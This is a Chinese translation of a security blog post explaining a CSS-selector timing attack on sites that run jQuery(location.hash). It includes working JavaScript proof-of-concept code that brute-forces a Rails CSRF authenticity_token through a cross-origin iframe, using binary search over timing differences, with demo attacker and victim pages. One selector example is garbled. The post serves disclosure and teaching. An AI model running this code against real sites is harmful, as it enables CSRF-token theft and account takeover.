原文链接: https://blog.sheddow.xyz/css-timing-attack/
作者:sheddow
你有没有遇到过运行jQuery(location.hash)的网站?看似相当无害,对吧? location.hash始终以“#”开头,因此所有这些代码都会执行CSS查询选择器。事实证明,这就足以执行时序攻击,这种攻击可以从HTML中提取几乎任何秘密字符串。
让我们从基础开始讲起。 CSS选择器用于匹配和选择HTML元素,如下所示: div,a[href],input[name=authenticity_token]. 如果使用CSS3,你就可以拥有更复杂的选择器,例如可以用input[value^='x']来匹配以'x'开头的输入元素。
那么进入时序攻击的下一个部分。实验是最好的学习方法,打开浏览器控制台(Firefox中用Ctrl-Shift-K,Chrome中用Ctrl-Shift-J)。我保证不会把你骗进self-XSS的。执行$(":has(:has(:has()) :has(:has(:has())) :has(:has(:has()))) main[id='site-main']")。除非你有一台非常快的电脑,不然它应该在返回之前稍微延迟。现在执行$(":has(:has(:has()) :has(:has(:has())) :has(:has(:has()))) main[id='doesntexist']")。注意它的速度有多快了吗?你刚刚发现了一个CSS选择器的非常有趣的属性:短路。浏览器从右到左评估选择器,因此它会开始搜索main[id='site-main']。当它找到时,它必须确保其具有匹配 这个的父元素 :has(:has(:has()) :has(:has(:has())) :has(:has(:has())))。也就是这部分需要如此长的时间(在浏览器中没有实现:has 伪类,但在jQuery中能)。对于另一个选择器,浏览器评估main[id='doesntexist'],然后当浏览器找不到它时,就会退出,并且忽略选择器的其余部分。换句话说,它在大多数编程语言中表现出与 and/&& 相同的短暂行为 —— 后退。
现在时序攻击已初具规模。假设我们想要提取authenticity_token(它可以防止Rails应用程序中的CSRF)。如果我们执行选择器 :has(:has(:has()) :has() :has()) input[name=authenticity_token][value^='x'],那么只有当authenticity_token 以'x'开头时会需要很长时间。但现在仍然存在一个很重要的问题:我们如何衡量这个时差?从Eduardo Vela的博客文章我们可以得到答案。他提出了这样一个出色的见解:受害者站点和攻击者站点都在同一个线程中运行,因此受害者站点上长时间运行的 javascript 进程将阻止攻击者站点上的执行。这为我们提供了一种方法,这种方法能检测选择器在何时执行会耗时较长。
我建立了一个示例网站,以便我们可以更轻松地进行实验:https://labs.sheddow.xyz/fsf.html 。尝试将#header1附加到URL,看看会发生什么。查看页面源代码并查看hashchange处理器来方便确切了解它的作用。我还在https://hack.sheddow.xyz/fsf.html 上设置了攻击者网站,该网站将受害者网站嵌入为iframe。好了,那么现在来入侵 !hack.sheddow.xyz这个网站可以安排稍后用setTimeout执行回调,然后在受害者站点上执行选择器(在我们的例子中是用hashchange处理器)。如果hashchange处理器非常慢,它将推迟回调的执行,并且可以使用window.performance.now这个网站来测量此延迟。那么我们尝试将其转换为代码。
const WAIT_TIME = 6;
const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";
const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
function get_execution_time(selector) {
var t0 = window.performance.now();
var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + "," + Math.random();
return p;
}
function measure_time(t0) {
var t = window.performance.now() - t0;
return t;
}
首先我们定义一个函数wait,以便我们可以直接使用 Promise 而不是 setTimeout 。 get_execution_time返回一个应该在WAIT_TIME毫秒内解析的 Promise,但在此之前,它会执行hashchange处理器。 hashchange处理器将占用线程,Promise的解析将被推迟。如果hashchange处理器需要50ms才能执行,那么Promise将在至少50ms才内解析,并且它将解析出一个值得耗那么多时间的东西。 WAIT_TIME只是为了确保 hashchange处理器在promise解析之前开始执行。接下来在https://hack.sheddow.xyz/fsf.html 进行测试:打开浏览器控制台,输入get_execution_time("p").then(console.log),它应该会显示大约10-20ms。然后尝试get_execution_time(":has(:has())").then(console.log),它应该显示接近100ms的东西。此时我们可以开始强制执行authenticity_token:只需执行get_execution_time(":has(:has() :has() :has() :has()) input[name=authenticity_token][value^='a']")对于每个可能的参数,花费最长时间的参数可能是正确的参数。
尽管如此,我们还可以让它更快。如果你熟悉SQL盲注,那么你就会知道逐个字符测试不是最佳策略。与SQL盲注一样,每个查询都会产生一位信息(“快”或“慢”),因此应该可以将每个查询的搜索空间减半。诀窍是同时测试大量字符,并使用类似二进制搜索的算法来缩小它。假设我们测试abcdefghijklmnopqrstuvwxyzABCDEF。我们可以将选择器与逗号组合在一起,因此我们最终会得到一个类似于这样的超长选择器:`:has(:has() *:has() :has() :has())
inputname=authenticity_token, :has(:has() *:has()
:has() :has()) inputname=authenticity_token, 然后我们将这些字符的执行时间与GHIJKLMNOPQRSTUVWXYZ0123456789+/`的执行时间进行比较,并且最长时间包含正确的字符。然后我们将正确的字符串分成两半并递归地重复两个子字符串上的过程,直到我们找到正确的字符。
把它变成代码。这里将使用async / await来使代码更清晰。
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";
async function binary_search(prefix, characters) {
console.log("Testing '" + characters + "'");
if (characters.length == 1) {
return characters[0];
}
var mid = Math.floor(characters.length/2);
var s1 = make_selector(prefix, characters.slice(0, mid));
var s2 = make_selector(prefix, characters.slice(mid, characters.length));
var t1 = await get_execution_time(s1);
var t2 = await get_execution_time(s2);
if (t1 < t2) {
return binary_search(prefix, characters.slice(mid, characters.length));
}
else {
return binary_search(prefix, characters.slice(0, mid));
}
}
function make_selector(prefix, characters) {
return characters
.split("")
.map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
.join(",");
}
直接点说, 它只是将characters分成两部分,测量每一半的执行时间,然后递归调用自身。
如果你在 https://hack.sheddow.xyz/fsf.html 上运行binary_search("", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/").then(console.log) ,网站会返回g。
最后,我们可以开始强制执行整个token。 类似于下面这种:
var token = "";
while (token.length < TOKEN_LENGTH) {
var c = await binary_search(token, BASE64_CHARS);
token += c;
}
还好吧? 没那么快。 如果只是猜错了一个字符,它就将中断所有后面的查询。 你最终就会得到一个错误的token。 幸运的是,正确和不正确的查询之间的时差非常大,以至于我们可以检测到我们是否猜错了。 我们只需创建一个功能
function approximately_equal(t1, t2) {
var diff = Math.abs(t1 - t2);
return diff <= 0.2*t1 || diff <= 0.2*t2;
}
如果t1和t2大致相等,则修改binary_search以返回null。 现在我们再试一次:
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;
async function bruteforce_token() {
var misses = 0;
var token = "";
while (token.length < TOKEN_LENGTH) {
var c = await binary_search(token, BASE64_CHARS);
if (c === null) {
misses++;
if (misses == 3) {
token = token.slice(0, -1); // Backtrack
}
}
else {
token += c;
misses = 0;
}
}
return token;
}
TOKEN_LENGTH是43因为我们正在寻找一个32位的由base64编码的token。我们可以忽略最终的等号。如果binary_search连续三次不成功,我们可能会有一个错误的token,所以我们从末尾删除一个字符。
剩下的就是证明这个概念。只需转到这个网址 https://hack.sheddow.xyz/fsf.html?attack.。 由于它使用 async / await,因此你需要一个相对较新的浏览器。我只在Firefox和Chromium中测试过它,但我认为它应该适用于大多数浏览器。如果没有,请告诉我!谢谢阅读!
下面更新一些问答:
站点隔离是否可以防止此攻击?
是的,实际上事实证明,Chrome认为hack.sheddow.xyz和labs.sheddow.xyz是相同的“网站”,即使它们的来源不同。如果你从https://notsheddow.xyz/fsf.html?attack尝试同样的攻击,你会发现它在Chrome中不起作用。
设置X-Frame-Options是否可以防止此攻击?
不会,这只会让它更难以利用。你可以使用window.open打开一个新窗口,然后通过window.opener而不是通过window.frames [0]执行相同的攻击。